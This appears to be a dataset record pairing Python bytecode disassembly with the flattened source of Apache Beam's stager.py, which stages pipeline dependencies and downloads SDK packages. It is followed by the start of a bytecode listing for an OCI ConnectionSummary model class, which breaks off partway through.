LOAD_GLOBAL names LOAD_ATTR STAGED_SDK_SOURCES_FILENAME RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL urlparse LOAD_FAST sdk_remote_location CALL_FUNCTION STORE_FAST sdk_remote_parsed LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST sdk_remote_parsed LOAD_ATTR path CALL_METHOD STORE_FAST sdk_remote_filename LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST temp_dir LOAD_FAST sdk_remote_filename CALL_METHOD STORE_FAST local_download_file LOAD_GLOBAL Stager LOAD_METHOD _download_file LOAD_FAST sdk_remote_location LOAD_FAST local_download_file CALL_METHOD POP_TOP LOAD_GLOBAL Stager LOAD_METHOD _desired_sdk_filename_in_staging_location LOAD_FAST local_download_file CALL_METHOD STORE_FAST staged_name LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Staging Beam SDK from %s' LOAD_FAST sdk_remote_location CALL_METHOD POP_TOP LOAD_GLOBAL Stager LOAD_METHOD _create_file_stage_to_artifact LOAD_FAST local_download_file LOAD_FAST staged_name CALL_METHOD BUILD_LIST RETURN_VALUE
"""Support for installing custom code and required dependencies. Workflows, with the exception of very simple ones, are organized in multiple modules and packages. Typically, these modules and packages have dependencies on other standard libraries. Beam relies on the Python setuptools package to handle these scenarios. For further details please read: https://pythonhosted.org/an_example_pypi_project/setuptools.html When a runner tries to run a pipeline it will check for a --requirements_file and a --setup_file option. If --setup_file is present then it is assumed that the folder containing the file specified by the option has the typical layout required by setuptools and it will run 'python setup.py sdist' to produce a source distribution. The resulting tarball (a .tar or .tar.gz file) will be staged at the staging location specified as job option. When a worker starts it will check for the presence of this file and will run 'easy_install tarball' to install the package in the worker. If --requirements_file is present then the file specified by the option will be staged in the staging location. When a worker starts it will check for the presence of this file and will run 'pip install -r requirements.txt'. A requirements file can be easily generated by running 'pip freeze -r requirements.txt'. The reason a runner does not run this automatically is because quite often only a small fraction of the dependencies present in a requirements.txt file are actually needed for remote execution and therefore a one-time manual trimming is desirable. TODO(silviuc): Should we allow several setup packages? TODO(silviuc): We should allow customizing the exact command for setup build. """ import glob import hashlib import logging import os import shutil import sys import tempfile from importlib.metadata import distribution from typing import Callable from typing import List from typing import Optional from typing import Tuple from urllib.parse import urlparse from packaging import version from apache_beam.internal import pickler from apache_beam.internal.http_client import get_new_http from apache_beam.io.filesystem import CompressionTypes from apache_beam.io.filesystems import FileSystems from apache_beam.options.pipeline_options import DebugOptions from apache_beam.options.pipeline_options import ( PipelineOptions, ) # pylint: disable=unused-import from apache_beam.options.pipeline_options import SetupOptions from apache_beam.options.pipeline_options import WorkerOptions from apache_beam.portability import common_urns from apache_beam.portability.api import beam_runner_api_pb2 from apache_beam.runners.internal import names from apache_beam.utils import processes from apache_beam.utils import retry WORKFLOW_TARBALL_FILE = "workflow.tar.gz" REQUIREMENTS_FILE = "requirements.txt" EXTRA_PACKAGES_FILE = "extra_packages.txt" SKIP_REQUIREMENTS_CACHE = "skip" _LOGGER = logging.getLogger(__name__) def retry_on_non_zero_exit(exception): if ( isinstance(exception, processes.CalledProcessError) and exception.returncode != 0 ): return True class Stager(object): """Abstract Stager identifies and copies the appropriate artifacts to the staging location. Implementation of this stager has to implement :func:`stage_artifact` and :func:`commit_manifest`. """ _DEFAULT_CHUNK_SIZE = 2 << 20 def stage_artifact(self, local_path_to_artifact, artifact_name, sha256): """Stages the artifact to Stager._staging_location and adds artifact_name to the manifest of artifacts that have been staged.""" raise NotImplementedError def commit_manifest(self): """Commits manifest.""" raise NotImplementedError @staticmethod def _create_file_stage_to_artifact(local_path, staged_name): return beam_runner_api_pb2.ArtifactInformation( type_urn=common_urns.artifact_types.FILE.urn, type_payload=beam_runner_api_pb2.ArtifactFilePayload( path=local_path ).SerializeToString(), role_urn=common_urns.artifact_roles.STAGING_TO.urn, role_payload=beam_runner_api_pb2.ArtifactStagingToRolePayload( staged_name=staged_name ).SerializeToString(), ) @staticmethod def _create_file_pip_requirements_artifact(local_path): return beam_runner_api_pb2.ArtifactInformation( type_urn=common_urns.artifact_types.FILE.urn, type_payload=beam_runner_api_pb2.ArtifactFilePayload( path=local_path ).SerializeToString(), role_urn=common_urns.artifact_roles.PIP_REQUIREMENTS_FILE.urn, ) @staticmethod def extract_staging_tuple_iter( artifacts: List[beam_runner_api_pb2.ArtifactInformation], ): for artifact in artifacts: if artifact.type_urn == common_urns.artifact_types.FILE.urn: file_payload = beam_runner_api_pb2.ArtifactFilePayload() file_payload.ParseFromString(artifact.type_payload) src = file_payload.path sha256 = file_payload.sha256 if artifact.role_urn == common_urns.artifact_roles.STAGING_TO.urn: role_payload = beam_runner_api_pb2.ArtifactStagingToRolePayload() role_payload.ParseFromString(artifact.role_payload) dst = role_payload.staged_name elif ( artifact.role_urn == common_urns.artifact_roles.PIP_REQUIREMENTS_FILE.urn ): dst = hashlib.sha256(artifact.SerializeToString()).hexdigest() else: raise RuntimeError("unknown role type: %s" % artifact.role_urn) yield (src, dst, sha256) else: raise RuntimeError("unknown artifact type: %s" % artifact.type_urn) @staticmethod def create_job_resources( options, # type: PipelineOptions temp_dir, # type: str build_setup_args=None, # type: Optional[List[str]] pypi_requirements=None, # type: Optional[List[str]] populate_requirements_cache=None, # type: Optional[Callable[[str, str, bool], None]] skip_prestaged_dependencies=False, # type: Optional[bool] ): """For internal use only; no backwards-compatibility guarantees. Creates (if needed) a list of job resources. Args: options: Command line options. More specifically the function will expect requirements_file, setup_file, and save_main_session options to be present. temp_dir: Temporary folder where the resource building can happen. If None then a unique temp directory will be created. Used only for testing. build_setup_args: A list of command line arguments used to build a setup package. Used only if options.setup_file is not None. Used only for testing. pypi_requirements: A list of PyPI requirements used to cache source packages. populate_requirements_cache: Callable for populating the requirements cache. Used only for testing. skip_prestaged_dependencies: Skip staging dependencies that can be added into SDK containers during prebuilding. Returns: A list of ArtifactInformation to be used for staging resources. Raises: RuntimeError: If files specified are not found or error encountered while trying to create the resources (e.g., build a setup package). """ resources = [] # type: List[beam_runner_api_pb2.ArtifactInformation] setup_options = options.view_as(SetupOptions) use_beam_default_container = ( options.view_as(WorkerOptions).sdk_container_image is None ) pickler.set_library(setup_options.pickle_library) if not skip_prestaged_dependencies: requirements_cache_path = ( os.path.join(tempfile.gettempdir(), "dataflow-requirements-cache") if (setup_options.requirements_cache is None) else setup_options.requirements_cache ) if not os.path.exists(requirements_cache_path): os.makedirs(requirements_cache_path) if setup_options.requirements_file is not None: if not os.path.isfile(setup_options.requirements_file): raise RuntimeError( "The file %s cannot be found. It was specified in the " "--requirements_file command line option." % setup_options.requirements_file ) ( extra_packages, thinned_requirements_file, ) = Stager._extract_local_packages(setup_options.requirements_file) if extra_packages: setup_options.extra_packages = ( setup_options.extra_packages or [] ) + extra_packages resources.append( Stager._create_file_stage_to_artifact( thinned_requirements_file, REQUIREMENTS_FILE ) ) if not use_beam_default_container: _LOGGER.warning( "When using a custom container image, prefer installing" " additional PyPI dependencies directly into the image," " instead of specifying them via runtime options, " "such as --requirements_file. " ) if setup_options.requirements_cache != SKIP_REQUIREMENTS_CACHE: ( populate_requirements_cache if populate_requirements_cache else Stager._populate_requirements_cache )( setup_options.requirements_file, requirements_cache_path, setup_options.requirements_cache_only_sources, ) if pypi_requirements: tf = tempfile.NamedTemporaryFile(mode="w", delete=False) tf.writelines(pypi_requirements) tf.close() resources.append(Stager._create_file_pip_requirements_artifact(tf.name)) if setup_options.requirements_cache != SKIP_REQUIREMENTS_CACHE: ( populate_requirements_cache if populate_requirements_cache else Stager._populate_requirements_cache )( tf.name, requirements_cache_path, setup_options.requirements_cache_only_sources, ) if (setup_options.requirements_cache != SKIP_REQUIREMENTS_CACHE) and ( setup_options.requirements_file is not None or pypi_requirements ): for pkg in glob.glob(os.path.join(requirements_cache_path, "*")): resources.append( Stager._create_file_stage_to_artifact( pkg, os.path.basename(pkg) ) ) if setup_options.setup_file is not None: if not os.path.isfile(setup_options.setup_file): raise RuntimeError( "The file %s cannot be found. It was specified in the " "--setup_file command line option." % setup_options.setup_file ) if os.path.basename(setup_options.setup_file) != "setup.py": raise RuntimeError( "The --setup_file option expects the full path to a file named " "setup.py instead of %s" % setup_options.setup_file ) tarball_file = Stager._build_setup_package( setup_options.setup_file, temp_dir, build_setup_args ) resources.append( Stager._create_file_stage_to_artifact( tarball_file, WORKFLOW_TARBALL_FILE ) ) if setup_options.extra_packages is not None: resources.extend( Stager._create_extra_packages( setup_options.extra_packages, temp_dir=temp_dir ) ) if hasattr(setup_options, "sdk_location"): sdk_location = setup_options.sdk_location if Stager._is_remote_path(sdk_location): try: resources.extend( Stager._create_beam_sdk( sdk_remote_location=setup_options.sdk_location, temp_dir=temp_dir, ) ) except: raise RuntimeError( "The --sdk_location option was used with an unsupported " "type of location: %s" % sdk_location ) elif sdk_location == "default": pass elif sdk_location == "container": pass else: if os.path.isdir(setup_options.sdk_location): sdk_path = os.path.join( setup_options.sdk_location, names.STAGED_SDK_SOURCES_FILENAME, ) else: sdk_path = setup_options.sdk_location if os.path.isfile(sdk_path): _LOGGER.info( 'Copying Beam SDK "%s" to staging location.', sdk_path ) resources.append( Stager._create_file_stage_to_artifact( sdk_path, Stager._desired_sdk_filename_in_staging_location( setup_options.sdk_location ), ) ) else: if setup_options.sdk_location == "default": raise RuntimeError( 'Cannot find default Beam SDK tar file "%s"' % sdk_path ) elif not setup_options.sdk_location: _LOGGER.info( "Beam SDK will not be staged since --sdk_location " "is empty." ) else: raise RuntimeError( 'The file "%s" cannot be found. Its location was specified ' "by the --sdk_location command-line option." % sdk_path ) jar_packages = options.view_as(DebugOptions).lookup_experiment("jar_packages") if jar_packages is not None: resources.extend( Stager._create_jar_packages(jar_packages.split(","), temp_dir=temp_dir) ) if setup_options.save_main_session: pickled_session_file = os.path.join( temp_dir, names.PICKLED_MAIN_SESSION_FILE ) pickler.dump_session(pickled_session_file) if os.path.exists(pickled_session_file): resources.append( Stager._create_file_stage_to_artifact( pickled_session_file, names.PICKLED_MAIN_SESSION_FILE ) ) return resources def stage_job_resources( self, resources, # type: List[Tuple[str, str, str]] staging_location=None, # type: Optional[str] ): """For internal use only; no backwards-compatibility guarantees. Stages job resources to staging_location. Args: resources: A list of tuples of local file paths and file names (no paths) to be used for staging resources. staging_location: Location to stage the file. Returns: A list of file names (no paths) for the resources staged. All the files are assumed to be staged at staging_location. Raises: RuntimeError: If files specified are not found or error encountered while trying to create the resources (e.g., build a setup package). """ if staging_location is None: raise RuntimeError("The staging_location must be specified.") staged_resources = [] for file_path, staged_path, sha256 in resources: self.stage_artifact( file_path, FileSystems.join(staging_location, staged_path), sha256 ) staged_resources.append(staged_path) return staged_resources def create_and_stage_job_resources( self, options, # type: PipelineOptions build_setup_args=None, # type: Optional[List[str]] temp_dir=None, # type: Optional[str] pypi_requirements=None, # type: Optional[List[str]] populate_requirements_cache=None, # type: Optional[Callable[[str, str, bool], None]] staging_location=None, # type: Optional[str] ): """For internal use only; no backwards-compatibility guarantees. Creates (if needed) and stages job resources to staging_location. Args: options: Command line options. More specifically the function will expect requirements_file, setup_file, and save_main_session options to be present. build_setup_args: A list of command line arguments used to build a setup package. Used only if options.setup_file is not None. Used only for testing. temp_dir: Temporary folder where the resource building can happen. If None then a unique temp directory will be created. Used only for testing. pypi_requirements: A list of PyPI requirements used to cache source packages. populate_requirements_cache: Callable for populating the requirements cache. Used only for testing. staging_location: Location to stage the file. Returns: A tuple of: 1) retrieval token 2) A list of file names (no paths) for the resources staged. All the files are assumed to be staged at staging_location Raises: RuntimeError: If files specified are not found or error encountered while trying to create the resources (e.g., build a setup package). """ temp_dir = temp_dir or tempfile.mkdtemp() resources = self.create_job_resources( options, temp_dir, build_setup_args, pypi_requirements=pypi_requirements, populate_requirements_cache=populate_requirements_cache, ) staged_resources = self.stage_job_resources( list(Stager.extract_staging_tuple_iter(resources)), staging_location ) shutil.rmtree(temp_dir) retrieval_token = self.commit_manifest() return retrieval_token, staged_resources @staticmethod @retry.with_exponential_backoff(num_retries=4) def _download_file(from_url, to_path): """Downloads a file over http/https from a url or copy it from a remote path to local path.""" if from_url.startswith("http://") or from_url.startswith("https://"): try: response, content = get_new_http().request(from_url) if int(response["status"]) >= 400: raise RuntimeError( "Artifact not found at %s (response: %s)" % (from_url, response) ) with open(to_path, "wb") as f: f.write(content) except Exception: _LOGGER.info("Failed to download Artifact from %s", from_url) raise else: try: read_handle = FileSystems.open( from_url, compression_type=CompressionTypes.UNCOMPRESSED ) with read_handle as fin: with open(to_path, "wb") as f: while True: chunk = fin.read(Stager._DEFAULT_CHUNK_SIZE) if not chunk: break f.write(chunk) _LOGGER.info("Copied remote file from %s to %s.", from_url, to_path) return except Exception as e: _LOGGER.info( "Failed to download file from %s via apache_beam.io.filesystems." "Trying to copy directly. %s", from_url, repr(e), ) if not os.path.isdir(os.path.dirname(to_path)): _LOGGER.info( "Created folder (since we have not done yet, and any errors " "will follow): %s ", os.path.dirname(to_path), ) os.mkdir(os.path.dirname(to_path)) shutil.copyfile(from_url, to_path) @staticmethod def _is_remote_path(path): return path.find("://") != -1 @staticmethod def _create_jar_packages(jar_packages, temp_dir): """Creates a list of local jar packages for Java SDK Harness. :param jar_packages: Ordered list of local paths to jar packages to be staged. Only packages on localfile system and GCS are supported. :param temp_dir: Temporary folder where the resource building can happen. :return: A list of tuples of local file paths and file names (no paths) for the resource staged. All the files are assumed to be staged in staging_location. :raises: RuntimeError: If files specified are not found or do not have expected name patterns. """ resources = [] # type: List[beam_runner_api_pb2.ArtifactInformation] staging_temp_dir = tempfile.mkdtemp(dir=temp_dir) local_packages = [] # type: List[str] for package in jar_packages: if not os.path.basename(package).endswith(".jar"): raise RuntimeError( "The --experiment='jar_packages=' option expects a full path " 'ending with ".jar" instead of %s' % package ) if not os.path.isfile(package): if Stager._is_remote_path(package): _LOGGER.info( "Downloading jar package: %s locally before staging", package ) _, last_component = FileSystems.split(package) local_file_path = FileSystems.join(staging_temp_dir, last_component) Stager._download_file(package, local_file_path) else: raise RuntimeError( "The file %s cannot be found. It was specified in the " "--experiment='jar_packages=' command line option." % package ) else: local_packages.append(package) local_packages.extend( [ FileSystems.join(staging_temp_dir, f) for f in os.listdir(staging_temp_dir) ] ) for package in local_packages: basename = os.path.basename(package) resources.append(Stager._create_file_stage_to_artifact(package, basename)) return resources @staticmethod def _create_extra_packages(extra_packages, temp_dir): """Creates a list of local extra packages. Args: extra_packages: Ordered list of local paths to extra packages to be staged. Only packages on localfile system and GCS are supported. temp_dir: Temporary folder where the resource building can happen. Caller is responsible for cleaning up this folder after this function returns. Returns: A list of ArtifactInformation of local file paths and file names (no paths) for the resources staged. All the files are assumed to be staged in staging_location. Raises: RuntimeError: If files specified are not found or do not have expected name patterns. """ resources = [] # type: List[beam_runner_api_pb2.ArtifactInformation] staging_temp_dir = tempfile.mkdtemp(dir=temp_dir) local_packages = [] # type: List[str] for package in extra_packages: if not ( os.path.basename(package).endswith(".tar") or os.path.basename(package).endswith(".tar.gz") or os.path.basename(package).endswith(".whl") or os.path.basename(package).endswith(".zip") ): raise RuntimeError( "The --extra_package option expects a full path ending with " '".tar", ".tar.gz", ".whl" or ".zip" instead of %s' % package ) if os.path.basename(package).endswith(".whl"): _LOGGER.warning( 'The .whl package "%s" provided in --extra_package ' "must be binary-compatible with the worker runtime environment." % package ) if not os.path.isfile(package): if Stager._is_remote_path(package): _LOGGER.info( "Downloading extra package: %s locally before staging", package ) _, last_component = FileSystems.split(package) local_file_path = FileSystems.join(staging_temp_dir, last_component) Stager._download_file(package, local_file_path) else: raise RuntimeError( "The file %s cannot be found. It was specified in the " "--extra_packages command line option." % package ) else: local_packages.append(package) local_packages.extend( [ FileSystems.join(staging_temp_dir, f) for f in os.listdir(staging_temp_dir) ] ) for package in local_packages: basename = os.path.basename(package) resources.append(Stager._create_file_stage_to_artifact(package, basename)) with open(os.path.join(temp_dir, EXTRA_PACKAGES_FILE), "wt") as f: for package in local_packages: f.write("%s\n" % os.path.basename(package)) resources.append( Stager._create_file_stage_to_artifact( os.path.join(temp_dir, EXTRA_PACKAGES_FILE), EXTRA_PACKAGES_FILE ) ) return resources @staticmethod def _get_python_executable(): python_bin = os.environ.get("BEAM_PYTHON") or sys.executable if not python_bin: raise ValueError("Could not find Python executable.") return python_bin @staticmethod def _remove_dependency_from_requirements( requirements_file, # type: str dependency_to_remove, # type: str temp_directory_path, ): """Function to remove dependencies from a given requirements file.""" with open(requirements_file, "r") as f: lines = f.readlines() tmp_requirements_filename = os.path.join( temp_directory_path, "tmp_requirements.txt" ) with open(tmp_requirements_filename, "w") as tf: for i in range(len(lines)): if not lines[i].startswith(dependency_to_remove): tf.write(lines[i]) return tmp_requirements_filename @staticmethod def _extract_local_packages(requirements_file): local_deps = [] pypi_deps = [] with open(requirements_file, "r") as fin: for line in fin: dep = line.strip() if os.path.exists(dep): local_deps.append(dep) else: pypi_deps.append(dep) if local_deps: with tempfile.NamedTemporaryFile( suffix="-requirements.txt", delete=False ) as fout: fout.write("\n".join(pypi_deps).encode("utf-8")) return local_deps, fout.name else: return [], requirements_file @staticmethod def _get_platform_for_default_sdk_container(): """ Get the platform for apache beam SDK container based on Pip version. Note: pip is still expected to download compatible wheel of a package with platform tag manylinux1 if the package on PyPI doesn't have (manylinux2014) or (manylinux2010) wheels. Reference: https://www.python.org/dev/peps/pep-0599/#id21 """ pip_version = distribution("pip").version if version.parse(pip_version) >= version.parse("19.3"): return "manylinux2014_x86_64" else: return "manylinux2010_x86_64" @staticmethod @retry.with_exponential_backoff(num_retries=4, retry_filter=retry_on_non_zero_exit) def _populate_requirements_cache( requirements_file, cache_dir, populate_cache_with_sdists=False ): with tempfile.TemporaryDirectory() as temp_directory: tmp_requirements_filepath = Stager._remove_dependency_from_requirements( requirements_file=requirements_file, dependency_to_remove="apache-beam", temp_directory_path=temp_directory, ) cmd_args = [ Stager._get_python_executable(), "-m", "pip", "download", "--dest", cache_dir, "-r", tmp_requirements_filepath, "--exists-action", "i", "--no-deps", ] if populate_cache_with_sdists: cmd_args.extend(["--no-binary", ":all:"]) else: language_implementation_tag = "cp" abi_suffix = "m" if sys.version_info < (3, 8) else "" abi_tag = "cp%d%d%s" % ( sys.version_info[0], sys.version_info[1], abi_suffix, ) platform_tag = Stager._get_platform_for_default_sdk_container() cmd_args.extend( [ "--implementation", language_implementation_tag, "--abi", abi_tag, "--platform", platform_tag, ] ) _LOGGER.info("Executing command: %s", cmd_args) processes.check_output(cmd_args, stderr=processes.STDOUT) @staticmethod def _build_setup_package( setup_file, # type: str temp_dir, # type: str build_setup_args=None, # type: Optional[List[str]] ): saved_current_directory = os.getcwd() try: os.chdir(os.path.dirname(setup_file)) if build_setup_args is None: try: build_setup_args = [ Stager._get_python_executable(), "-m", "build", "--sdist", "--outdir", temp_dir, os.path.dirname(setup_file), ] _LOGGER.info("Executing command: %s", build_setup_args) processes.check_output(build_setup_args) except RuntimeError: build_setup_args = [ Stager._get_python_executable(), os.path.basename(setup_file), "sdist", "--dist-dir", temp_dir, ] _LOGGER.info("Executing command: %s", build_setup_args) processes.check_output(build_setup_args) output_files = glob.glob(os.path.join(temp_dir, "*.tar.gz")) if not output_files: raise RuntimeError( "File %s not found." % os.path.join(temp_dir, "*.tar.gz") ) return output_files[0] finally: os.chdir(saved_current_directory) @staticmethod def _desired_sdk_filename_in_staging_location(sdk_location): """Returns the name that SDK file should have in the staging location. Args: sdk_location: Full path to SDK file. """ if sdk_location.endswith(".whl"): _, wheel_filename = FileSystems.split(sdk_location) if wheel_filename.startswith("apache_beam"): return wheel_filename else: raise RuntimeError("Unrecognized SDK wheel file: %s" % sdk_location) else: return names.STAGED_SDK_SOURCES_FILENAME @staticmethod def _create_beam_sdk(sdk_remote_location, temp_dir): """Creates a Beam SDK file with the appropriate version. Args: sdk_remote_location: A URL from which the file can be downloaded or a remote file location. The SDK file can be a tarball or a wheel. temp_dir: path to temporary location where the file should be downloaded. Returns: A list of ArtifactInformation of local files path and SDK files that will be staged to the staging location. Raises: RuntimeError: if staging was not successful. """ sdk_remote_parsed = urlparse(sdk_remote_location) sdk_remote_filename = os.path.basename(sdk_remote_parsed.path) local_download_file = os.path.join(temp_dir, sdk_remote_filename) Stager._download_file(sdk_remote_location, local_download_file) staged_name = Stager._desired_sdk_filename_in_staging_location( local_download_file ) _LOGGER.info("Staging Beam SDK from %s", sdk_remote_location) return [Stager._create_file_stage_to_artifact(local_download_file, staged_name)]
data/apache-beam-2.54.0/apache_beam/runners/portability/stager.py
10,997
9,000
382,196
LOAD_CONST 0 LOAD_CONST ('formatted_flat_dict', 'NONE_SENTINEL', 'value_allowed_none_or_none_sentinel') IMPORT_NAME oci.util IMPORT_FROM formatted_flat_dict STORE_NAME formatted_flat_dict IMPORT_FROM NONE_SENTINEL STORE_NAME NONE_SENTINEL IMPORT_FROM value_allowed_none_or_none_sentinel STORE_NAME value_allowed_none_or_none_sentinel POP_TOP LOAD_CONST 0 LOAD_CONST ('init_model_state_from_kwargs',) IMPORT_NAME oci.decorators IMPORT_FROM init_model_state_from_kwargs STORE_NAME init_model_state_from_kwargs POP_TOP LOAD_NAME init_model_state_from_kwargs LOAD_BUILD_CLASS LOAD_CONST <code object ConnectionSummary at 0x7fab542d66f0, file "f.py", line 9> LOAD_CONST 'ConnectionSummary' MAKE_FUNCTION LOAD_CONST 'ConnectionSummary' LOAD_NAME object CALL_FUNCTION CALL_FUNCTION STORE_NAME ConnectionSummary LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ConnectionSummary' STORE_NAME __qualname__ LOAD_CONST '\n Summary of the Connection.\n ' STORE_NAME __doc__ LOAD_CONST 'GOLDENGATE' STORE_NAME CONNECTION_TYPE_GOLDENGATE LOAD_CONST 'KAFKA' STORE_NAME CONNECTION_TYPE_KAFKA LOAD_CONST 'KAFKA_SCHEMA_REGISTRY' STORE_NAME CONNECTION_TYPE_KAFKA_SCHEMA_REGISTRY LOAD_CONST 'MYSQL' STORE_NAME CONNECTION_TYPE_MYSQL LOAD_CONST 'JAVA_MESSAGE_SERVICE' STORE_NAME CONNECTION_TYPE_JAVA_MESSAGE_SERVICE LOAD_CONST 'MICROSOFT_SQLSERVER' STORE_NAME CONNECTION_TYPE_MICROSOFT_SQLSERVER LOAD_CONST 'OCI_OBJECT_STORAGE' STORE_NAME CONNECTION_TYPE_OCI_OBJECT_STORAGE LOAD_CONST 'ORACLE' STORE_NAME CONNECTION_TYPE_ORACLE LOAD_CONST 'AZURE_DATA_LAKE_STORAGE' STORE_NAME CONNECTION_TYPE_AZURE_DATA_LAKE_STORAGE LOAD_CONST 'POSTGRESQL' STORE_NAME CONNECTION_TYPE_POSTGRESQL LOAD_CONST 'AZURE_SYNAPSE_ANALYTICS' STORE_NAME CONNECTION_TYPE_AZURE_SYNAPSE_ANALYTICS LOAD_CONST 'SNOWFLAKE' STORE_NAME CONNECTION_TYPE_SNOWFLAKE LOAD_CONST 'AMAZON_S3' STORE_NAME CONNECTION_TYPE_AMAZON_S3 LOAD_CONST 'HDFS' STORE_NAME CONNECTION_TYPE_HDFS LOAD_CONST 'ORACLE_NOSQL' STORE_NAME CONNECTION_TYPE_ORACLE_NOSQL LOAD_CONST 'MONGODB' STORE_NAME CONNECTION_TYPE_MONGODB LOAD_CONST 'AMAZON_KINESIS' STORE_NAME CONNECTION_TYPE_AMAZON_KINESIS LOAD_CONST 'AMAZON_REDSHIFT' STORE_NAME CONNECTION_TYPE_AMAZON_REDSHIFT LOAD_CONST 'REDIS' STORE_NAME CONNECTION_TYPE_REDIS LOAD_CONST 'ELASTICSEARCH' STORE_NAME CONNECTION_TYPE_ELASTICSEARCH LOAD_CONST 'GENERIC' STORE_NAME CONNECTION_TYPE_GENERIC LOAD_CONST 'GOOGLE_CLOUD_STORAGE' STORE_NAME CONNECTION_TYPE_GOOGLE_CLOUD_STORAGE LOAD_CONST 'GOOGLE_BIGQUERY' STORE_NAME CONNECTION_TYPE_GOOGLE_BIGQUERY LOAD_CONST 'SHARED_SERVICE_ENDPOINT' STORE_NAME ROUTING_METHOD_SHARED_SERVICE_ENDPOINT LOAD_CONST 'SHARED_DEPLOYMENT_ENDPOINT' STORE_NAME ROUTING_METHOD_SHARED_DEPLOYMENT_ENDPOINT LOAD_CONST 'DEDICATED_ENDPOINT' STORE_NAME ROUTING_METHOD_DEDICATED_ENDPOINT LOAD_CONST <code object __init__ at 0x7fab823d88a0, file "f.py", line 67> LOAD_CONST 'ConnectionSummary.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME staticmethod LOAD_CONST <code object get_subtype at 0x7fab542f5030, file "f.py", line 236> LOAD_CONST 'ConnectionSummary.get_subtype' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get_subtype LOAD_NAME property LOAD_CONST <code object connection_type at 0x7fab542f50c0, file "f.py", line 315> LOAD_CONST 'ConnectionSummary.connection_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME connection_type LOAD_NAME connection_type LOAD_ATTR setter LOAD_CONST <code object connection_type at 0x7fab542f5150, file "f.py", line 330> LOAD_CONST 'ConnectionSummary.connection_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME connection_type LOAD_NAME property LOAD_CONST <code object id at 0x7fab542f51e0, file "f.py", line 369> LOAD_CONST 'ConnectionSummary.id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME id LOAD_NAME id LOAD_ATTR setter LOAD_CONST <code object id at 0x7fab542f5270, file "f.py", line 384> LOAD_CONST 'ConnectionSummary.id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME id LOAD_NAME property LOAD_CONST <code object display_name at 0x7fab542f5300, file "f.py", line 399> LOAD_CONST 'ConnectionSummary.display_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME display_name LOAD_NAME display_name LOAD_ATTR setter LOAD_CONST <code object display_name at 0x7fab542f5390, file "f.py", line 411> LOAD_CONST 'ConnectionSummary.display_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME display_name LOAD_NAME property LOAD_CONST <code object description at 0x7fab542f5420, file "f.py", line 423> LOAD_CONST 'ConnectionSummary.description' MAKE_FUNCTION CALL_FUNCTION STORE_NAME description LOAD_NAME description LOAD_ATTR setter LOAD_CONST <code object description at 0x7fab542f54b0, file "f.py", line 435> LOAD_CONST 'ConnectionSummary.description' MAKE_FUNCTION CALL_FUNCTION STORE_NAME description LOAD_NAME property LOAD_CONST <code object compartment_id at 0x7fab542f5540, file "f.py", line 447> LOAD_CONST 'ConnectionSummary.compartment_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME compartment_id LOAD_NAME compartment_id LOAD_ATTR setter LOAD_CONST <code object compartment_id at 0x7fab542f55d0, file "f.py", line 461> LOAD_CONST 'ConnectionSummary.compartment_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME compartment_id LOAD_NAME property LOAD_CONST <code object freeform_tags at 0x7fab542f5660, file "f.py", line 475> LOAD_CONST 'ConnectionSummary.freeform_tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME freeform_tags LOAD_NAME freeform_tags LOAD_ATTR setter LOAD_CONST <code object freeform_tags at 0x7fab542f56f0, file "f.py", line 490> LOAD_CONST 'ConnectionSummary.freeform_tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME freeform_tags LOAD_NAME property LOAD_CONST <code object defined_tags at 0x7fab542f5780, file "f.py", line 505> LOAD_CONST 'ConnectionSummary.defined_tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME defined_tags LOAD_NAME defined_tags LOAD_ATTR setter LOAD_CONST <code object defined_tags at 0x7fab542f5810, file "f.py", line 519> LOAD_CONST 'ConnectionSummary.defined_tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME defined_tags LOAD_NAME property LOAD_CONST <code object system_tags at 0x7fab542f58a0, file "f.py", line 533> LOAD_CONST 'ConnectionSummary.system_tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME system_tags LOAD_NAME system_tags LOAD_ATTR setter LOAD_CONST <code object system_tags at 0x7fab542f5930, file "f.py", line 551> LOAD_CONST 'ConnectionSummary.system_tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME system_tags LOAD_NAME property LOAD_CONST <code object lifecycle_state at 0x7fab542f59c0, file "f.py", line 569> LOAD_CONST 'ConnectionSummary.lifecycle_state' MAKE_FUNCTION CALL_FUNCTION STORE_NAME lifecycle_state LOAD_NAME lifecycle_state LOAD_ATTR setter LOAD_CONST <code object lifecycle_state at 0x7fab542f5a50, file "f.py", line 581> LOAD_CONST 'ConnectionSummary.lifecycle_state' MAKE_FUNCTION CALL_FUNCTION STORE_NAME lifecycle_state LOAD_NAME property LOAD_CONST <code object lifecycle_details at 0x7fab542f5ae0, file "f.py", line 593> LOAD_CONST 'ConnectionSummary.lifecycle_details' MAKE_FUNCTION CALL_FUNCTION STORE_NAME lifecycle_details LOAD_NAME lifecycle_details LOAD_ATTR setter LOAD_CONST <code object lifecycle_details at 0x7fab542f5b70, file "f.py", line 606> LOAD_CONST 'ConnectionSummary.lifecycle_details' MAKE_FUNCTION CALL_FUNCTION STORE_NAME lifecycle_details LOAD_NAME property LOAD_CONST <code object time_created at 0x7fab542f5c00, file "f.py", line 619> LOAD_CONST 'ConnectionSummary.time_created' MAKE_FUNCTION CALL_FUNCTION STORE_NAME time_created LOAD_NAME time_created LOAD_ATTR setter LOAD_CONST <code object time_created at 0x7fab542f5c90, file "f.py", line 634> LOAD_CONST 'ConnectionSummary.time_created' MAKE_FUNCTION CALL_FUNCTION STORE_NAME time_created LOAD_NAME property LOAD_CONST <code object time_updated 